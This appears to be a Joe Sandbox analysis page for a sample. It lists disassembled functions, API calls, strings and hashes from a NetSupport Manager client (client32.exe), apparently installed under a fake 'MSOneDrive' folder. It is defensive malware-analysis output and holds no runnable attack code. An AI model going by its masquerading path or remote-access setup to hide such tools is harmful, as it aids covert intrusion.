Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$CreateDeleteInflateLineMoveRect
String ID:
API String ID: 1903512896-0
Opcode ID: f54cc67ce8688082e8d9bd7ceb245565d37858412d515c724044303615fa1441
Instruction ID: 5d0285bcf9a9339dda167f9027b4ec7cc5a21a28eaa690855b6058ef89d625f1
Opcode Fuzzy Hash: f54cc67ce8688082e8d9bd7ceb245565d37858412d515c724044303615fa1441
Instruction Fuzzy Hash: D08151B5900209AFDB10DFA4CC85FBFF7B9EB88305F104A18F611E7285D670A945CBA1

Function 110B7260 Relevance: 40.5, APIs: 13, Strings: 10, Instructions: 266librarycomloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,82E0FB89), ref: 110B728D
GetProcAddress.KERNEL32(00000000,SetThreadExecutionState), ref: 110B72DA
SetLastError.KERNEL32(00000078), ref: 110B72F5
SystemParametersInfoA.USER32(00000010,00000000,?,00000000), ref: 110B730C
SystemParametersInfoA.USER32(00000011,00000000,00000000,00000000), ref: 110B7318
OleInitialize.OLE32(00000000), ref: 110B7354
LoadAcceleratorsA.USER32(00000000,00003330), ref: 110B741C
UpdateWindow.USER32(?), ref: 110B7486
OleUninitialize.OLE32 ref: 110B7507
GetProcAddress.KERNEL32(?,SetThreadExecutionState), ref: 110B751B
SetLastError.KERNEL32(00000078), ref: 110B7533
SystemParametersInfoA.USER32(00000011,00000001,00000000,00000000), ref: 110B7544
FreeLibrary.KERNEL32(?,?), ref: 110B7572

Part of subcall function 110B0B60: GetWindowPlacement.USER32(?,0000002C,75A37AA0), ref: 110B0B9F

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1, xrefs: 110B7360, 110B737F, 110B74D6
Kernel32.dll, xrefs: 110B7288
SetThreadExecutionState, xrefs: 110B72D1, 110B7515
FALSE, xrefs: 110B7404
..\CTL32\NSMCobrowse.cpp, xrefs: 110B73FF
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3, xrefs: 110B7397, 110B73B6, 110B74F5
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110B7470
m_hWnd, xrefs: 110B7475
NSMCobrowse, xrefs: 110B731A
1601, xrefs: 110B735B, 110B737A, 110B7392, 110B73B1, 110B74D1, 110B74F0

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$AddressErrorLastLibraryLoadProcWindow$AcceleratorsFreeInitializePlacementUninitializeUpdate
String ID: ..\CTL32\NSMCobrowse.cpp$1601$FALSE$Kernel32.dll$NSMCobrowse$SetThreadExecutionState$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 3244972839-2715558161
Opcode ID: f1869e9ace16bcabbdf441272b9f7ccf41929b43d66111c24cabc24926d86a2b
Instruction ID: f8ce5fb705e420c25b78c7aa5baaf6ec852ae9732c421639fd8232ddcd28cd9c
Opcode Fuzzy Hash: f1869e9ace16bcabbdf441272b9f7ccf41929b43d66111c24cabc24926d86a2b
Instruction Fuzzy Hash: 8C91A0B9E00659AFDB01DFA5CCC0AAEFBF4BF08308F54492DE515A7281DB306941CBA5

Function 110B1070 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11134770: _memset.LIBCMT ref: 111347B5
Part of subcall function 11134770: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 111347CE
Part of subcall function 11134770: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111347F5
Part of subcall function 11134770: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11134807
Part of subcall function 11134770: FreeLibrary.KERNEL32(00000000), ref: 1113481F
Part of subcall function 11134770: GetSystemDefaultLangID.KERNEL32 ref: 1113482A

LoadMenuA.USER32(00000000,000032E2), ref: 110B11C0
CreateWindowExA.USER32(00000000,NSMCobrMain,?,04CF0000,80000000,80000000,00000190,000001F4,00000000,00000000,?,00000000), ref: 110B11F5
SetWindowPlacement.USER32(?,0000002C,00000000,?,?,00000000), ref: 110B1299
GetMenu.USER32(?), ref: 110B12E3
DeleteMenu.USER32(00000000,00000004,00000400,?,?,00000000), ref: 110B12ED
GetWindowPlacement.USER32(?,0000002C,?,?,00000000), ref: 110B132E
GetMenu.USER32(?), ref: 110B1380
GetMenuItemCount.USER32(00000000), ref: 110B138A
DeleteMenu.USER32(00000000,-00000001,?,?,00000000), ref: 110B1393

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

UpdateWindow.USER32(?), ref: 110B13D5
BringWindowToTop.USER32(?), ref: 110B13DF

Strings

*StartPage, xrefs: 110B1133
IsA(), xrefs: 110B1101, 110B117B
,, xrefs: 110B1300
NSMCobrMain, xrefs: 110B11EF
..\CTL32\NSMCobrowse.cpp, xrefs: 110B1207
*WindowPos, xrefs: 110B1251
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110B127C, 110B12CD, 110B1311, 110B136A, 110B13BF
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110B10FC, 110B1176
m_hWnd, xrefs: 110B120C, 110B1281, 110B12D2, 110B1316, 110B136F, 110B13C4
about:blank, xrefs: 110B1191

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Window$DeleteLibraryLoadPlacement$AddressBringCountCreateDefaultErrorExitFreeItemLangLastMessageProcProcessSystemUpdateVersion_memsetwsprintf
String ID: *StartPage$*WindowPos$,$..\CTL32\NSMCobrowse.cpp$IsA()$NSMCobrMain$about:blank$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2603857032-544735205
Opcode ID: 6ce295a978d4c0f578fdcd161a0048bff9384069b6bc0b2638a1909efe396e8a
Instruction ID: 0b238a22b308422866b6e53ee66487a0a9e71651472ee473fa52922344df5796
Opcode Fuzzy Hash: 6ce295a978d4c0f578fdcd161a0048bff9384069b6bc0b2638a1909efe396e8a
Instruction Fuzzy Hash: D791B078B00706AFD721DF61DC80FDAF3B5AF48708F008998E6569B685EB70B944CB95

Function 110851E0 Relevance: 36.2, APIs: 24, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,00000000,00000000,?), ref: 11085218
GetProcessHeap.KERNEL32(00000008,?), ref: 1108522A
HeapAlloc.KERNEL32(00000000), ref: 11085231
GetUserObjectSecurity.USER32(?,00000004,110855CC,?,?), ref: 11085247
GetUserObjectSecurity.USER32(00000001,00000004,00000000,00000001,00000001), ref: 11085265
GetProcessHeap.KERNEL32(00000008,00000001), ref: 11085271
HeapAlloc.KERNEL32(00000000), ref: 11085278
GetUserObjectSecurity.USER32(00000001,00000004,?,00000001,00000001), ref: 1108528E
GetSecurityDescriptorDacl.ADVAPI32(110855CC,00000000,?,?), ref: 110852B0
GetSecurityDescriptorDacl.ADVAPI32(?,00000000,?,?), ref: 110852C9
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 1108533F
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 11085357
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,?), ref: 11085379
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,?), ref: 11085395
SetUserObjectSecurity.USER32(?,00000004,?), ref: 110853B5
SetUserObjectSecurity.USER32(00000001,00000004,?), ref: 110853CF
GetProcessHeap.KERNEL32(00000000,110855CC), ref: 110853E9
HeapFree.KERNEL32(00000000), ref: 110853EC
GetProcessHeap.KERNEL32(00000000,?), ref: 110853F8
HeapFree.KERNEL32(00000000), ref: 110853FB
GetProcessHeap.KERNEL32(00000000,?), ref: 11085407
HeapFree.KERNEL32(00000000), ref: 1108540A
GetProcessHeap.KERNEL32(00000000,?), ref: 11085416
HeapFree.KERNEL32(00000000), ref: 11085419

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HeapSecurity$DescriptorObjectProcessUser$DaclFree$AllocInitialize
String ID:
API String ID: 3868453208-0
Opcode ID: a825820c58583e875331af90eeb360339016fbb48d06a2a4b775561e61e6bd06
Instruction ID: 017101d2f13020300e76833adeebb0b818ce4fdc5b6587dcfb92681743389174
Opcode Fuzzy Hash: a825820c58583e875331af90eeb360339016fbb48d06a2a4b775561e61e6bd06
Instruction Fuzzy Hash: 30810BB2D04219AFEB11DBD8CC90FEFB7BCEF48714F118559E900A7244D6B5AE458BA0

Function 1104D640 Relevance: 35.4, APIs: 11, Strings: 9, Instructions: 447windowtimeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1104D6D7
_malloc.LIBCMT ref: 1104D960

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

_memmove.LIBCMT ref: 1104D983
SendMessageTimeoutA.USER32(?,0000004A,0001042A,?,00000002,00002710,00000000), ref: 1104D9EA
_free.LIBCMT ref: 1104D6F5

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

Part of subcall function 11037950: GetDateFormatA.KERNEL32(00000400,00000002,00000000,00000000,?,00000020,82E0FB89,?,?,00000000,?,00000000,1116DED1,000000FF,?,1104DB2D), ref: 1103798F
Part of subcall function 11037950: GetTimeFormatA.KERNEL32(00000400,00000002,00000000,00000000,?,00000010,?,1104DB2D,?,?,000003EF,00000000), ref: 110379A4

_malloc.LIBCMT ref: 1104D716
_memmove.LIBCMT ref: 1104D726
GetTickCount.KERNEL32 ref: 1104D72E
IsWindow.USER32(?), ref: 1104D81E
_free.LIBCMT ref: 1104D9F1
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,000003EF,00000000,?,?,?,?,?,?), ref: 1104DB3F

Part of subcall function 110C5870: _free.LIBCMT ref: 110C589D

Strings

Send Message to StudentUI, xrefs: 1104D99C
toastImageAndText.png, xrefs: 1104DC09
IsA(), xrefs: 1104D76E
DisableMessage, xrefs: 1104D693
Client, xrefs: 1104D698
pcicl32.dll, xrefs: 1104DB88
toastMessage.png, xrefs: 1104DC4B
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1104D769
Result of SendMessage %d, xrefs: 1104D9FD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$CountFormatHeapTick_malloc_memmove$AllocateDateErrorFileFreeLastMessageModuleNameSendTimeTimeoutWindow
String ID: Client$DisableMessage$IsA()$Result of SendMessage %d$Send Message to StudentUI$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$pcicl32.dll$toastImageAndText.png$toastMessage.png
API String ID: 1763481038-1556842855
Opcode ID: d71bba76b178c5dc766708e327a9ff06053e3c4114c2f30c4ebe94e99cfb6490
Instruction ID: dd68662fa2b7b78e02f42c071c2c91de2c128a2af9df8d519f107d9f1f1afb16
Opcode Fuzzy Hash: d71bba76b178c5dc766708e327a9ff06053e3c4114c2f30c4ebe94e99cfb6490
Instruction Fuzzy Hash: 48029D74E0521A9FDB15DB64CDD8FDEB7B4AF58308F1081E8D80A97281EB70AA44CF61

Function 11029730 Relevance: 33.5, APIs: 4, Strings: 15, Instructions: 291timeCOMMON

Download Yara Rule

APIs

Part of subcall function 110E2140: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,00000000,00000001,00000000,?,1102EA96,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110E215C

Part of subcall function 110C4D10: _malloc.LIBCMT ref: 110C4D2A

Part of subcall function 110E1DB0: RegEnumKeyExA.ADVAPI32(?,?,?,00000200,00000000,00000000,00000000,00000000,?,00000000), ref: 110E1DFB

wsprintfA.USER32 ref: 11029ABD

Part of subcall function 110E2510: RegQueryInfoKeyA.ADVAPI32(0002001F,?,?,0002001F,?,?,0002001F,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,11029895), ref: 110E2546

FileTimeToSystemTime.KERNEL32(0002001F,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 110298CA
wsprintfA.USER32 ref: 1102990E
wsprintfA.USER32 ref: 11029975

Part of subcall function 110E2B90: wsprintfA.USER32 ref: 110E2BF4
Part of subcall function 110E2B90: _malloc.LIBCMT ref: 110E2C73

Strings

%02d/%02d/%02d %02d:%02d:%02d.%03d, xrefs: 11029908
accel=%d, wdm=%d, key=%s, mix=%s, dev=%s, xrefs: 1102999B
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 11029B1C, 11029B30
Warning. DSReg e=%d, e2=%d, xrefs: 11029A5E
Acceleration, xrefs: 1102992A, 110299D3, 110299EE, 11029A01, 11029A30
Software\NSL\Saved\DS, xrefs: 110299CE, 11029A2B
IsA(), xrefs: 11029B21, 11029B35
set %s=15, e=%d, xrefs: 11029A06
DirectSound, xrefs: 110297FB
Accel=restored, xrefs: 11029A4D
WDM, xrefs: 11029947
Error. Can't open %s, xrefs: 11029B40
DirectSound\Mixer Defaults, xrefs: 11029827, 11029963
DirectSound\Device Presence, xrefs: 11029854
%s\%s, xrefs: 1102996F, 11029AB7

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$Time_malloc$EnumFileInfoOpenQuerySystem
String ID: %02d/%02d/%02d %02d:%02d:%02d.%03d$%s\%s$Accel=restored$Acceleration$DirectSound$DirectSound\Device Presence$DirectSound\Mixer Defaults$Error. Can't open %s$IsA()$Software\NSL\Saved\DS$WDM$Warning. DSReg e=%d, e2=%d$accel=%d, wdm=%d, key=%s, mix=%s, dev=%s$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$set %s=15, e=%d
API String ID: 2153351953-2541246523
Opcode ID: ea49658e0559d7249552271ef26cbc16e8dfc3201216cf4df3aa1f849712d45b
Instruction ID: 211f1d13b54fd8d85df03bceff53a25590f38c713c6c8c7458dc0526dc1957da
Opcode Fuzzy Hash: ea49658e0559d7249552271ef26cbc16e8dfc3201216cf4df3aa1f849712d45b
Instruction Fuzzy Hash: 5CB16F75D0162AAFDB21EB51CD88FEEB778AF44748F4041D9E909A2181EB706F84CF61

Function 11133230 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 281COMMONLIBRARYCODE

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11133298
RaiseException.KERNEL32(80000003,00000000,00000000,00000000), ref: 111332E5

Strings

%d., xrefs: 111333B4
_%04d_%02d_%02d_%02d%02d%02d.dmp, xrefs: 111333E5
C:\Users\user\AppData\Local\MSOneDrive\client32.exe, xrefs: 11133343, 11133351, 11133376
Support\, xrefs: 1113342A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountExceptionRaiseTick
String ID: %d.$C:\Users\user\AppData\Local\MSOneDrive\client32.exe$Support\$_%04d_%02d_%02d_%02d%02d%02d.dmp
API String ID: 473833368-2752259210
Opcode ID: eb20b46de86263ce3c0fc2cb08518a1f7edc3ee7639162ab589458b7dc855a32
Instruction ID: b1318081cbd1093ae19426a44e825ea54fb6d23b40abf42cfb15725aaffc0af2
Opcode Fuzzy Hash: eb20b46de86263ce3c0fc2cb08518a1f7edc3ee7639162ab589458b7dc855a32
Instruction Fuzzy Hash: 1EA11871918659AFDB22CF24CC44BDAF7F4BB88715F108298E959A73C4EB309A44CB94

Function 111357E0 Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 220libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(netapi32.dll,?,?), ref: 11135815
GetProcAddress.KERNEL32(00000000,NetWkstaUserGetInfo), ref: 11135846
GetProcAddress.KERNEL32(00000000,NetUserGetInfo), ref: 11135854
GetProcAddress.KERNEL32(00000000,NetApiBufferFree), ref: 11135862
GetUserNameW.ADVAPI32(?,?), ref: 111358B3
GetTickCount.KERNEL32 ref: 11135920
GetTickCount.KERNEL32 ref: 11135943

Strings

<not Available>, xrefs: 11135AD2
NetUserGetInfo, xrefs: 11135848
NetApiBufferFree, xrefs: 11135856
netapi32.dll, xrefs: 111357FE
InvalidComputer, xrefs: 11135A94
UserNotFound, xrefs: 11135A4E
AccessDenied, xrefs: 1113598D
d, xrefs: 111358A9
NetUserGetInfo(%ls\%ls) took %d ms and ret x%x, xrefs: 11135961
NetWkstaUserGetInfo, xrefs: 11135840

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$LibraryLoadNameUser
String ID: <not Available>$AccessDenied$InvalidComputer$NetApiBufferFree$NetUserGetInfo$NetUserGetInfo(%ls\%ls) took %d ms and ret x%x$NetWkstaUserGetInfo$UserNotFound$d$netapi32.dll
API String ID: 132346978-2450594007
Opcode ID: 24e3902290bdfb9d156e41673af9ed8a99b6ed7f6cf7d5ae5b40d77d50fcf9c2
Instruction ID: 59b0643e97b9a631c3f20454355d2f3f74fc8d6a298a7c9c16ab6adfcb60d694
Opcode Fuzzy Hash: 24e3902290bdfb9d156e41673af9ed8a99b6ed7f6cf7d5ae5b40d77d50fcf9c2
Instruction Fuzzy Hash: 89917975A152289FDB60CF28C894ADAFBB4EF89725F0180E9E94D97355D7309E80CF90

Function 1101B1C0 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 203COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 1101B20C
GetClientRect.USER32(00000000,?), ref: 1101B23A
CreateSolidBrush.GDI32(?), ref: 1101B244
FillRect.USER32(?,?,00000000), ref: 1101B258
GetStockObject.GDI32(00000011), ref: 1101B269
SelectObject.GDI32(?,00000000), ref: 1101B27A
DrawTextA.USER32(?,00000000,000000FF,?,00000001), ref: 1101B2A3
SelectObject.GDI32(?,00000000), ref: 1101B2AE
DeleteObject.GDI32(?), ref: 1101B3AC
EndPaint.USER32(?,?), ref: 1101B3BA

Part of subcall function 1114D430: SetWindowLongA.USER32(?,000000FC,?), ref: 1114D476
Part of subcall function 1114D430: RemovePropA.USER32(?), ref: 1114D495
Part of subcall function 1114D430: RemovePropA.USER32(?), ref: 1114D4A4
Part of subcall function 1114D430: RemovePropA.USER32(?,00000000), ref: 1114D4B3

Strings

NSMBmpClass WM_PAINT rcNew L=%d, T=%d, R=%d, B=%d, W=%d, H=%d, xrefs: 1101B31C
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1101B220
picholder w=%d, h=%d, xrefs: 1101B339
m_hWnd, xrefs: 1101B225
NSMBmpClass WM_PAINT rcClt L=%d, T=%d, R=%d, B=%d, W=%d, H=%d, xrefs: 1101B2F7

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
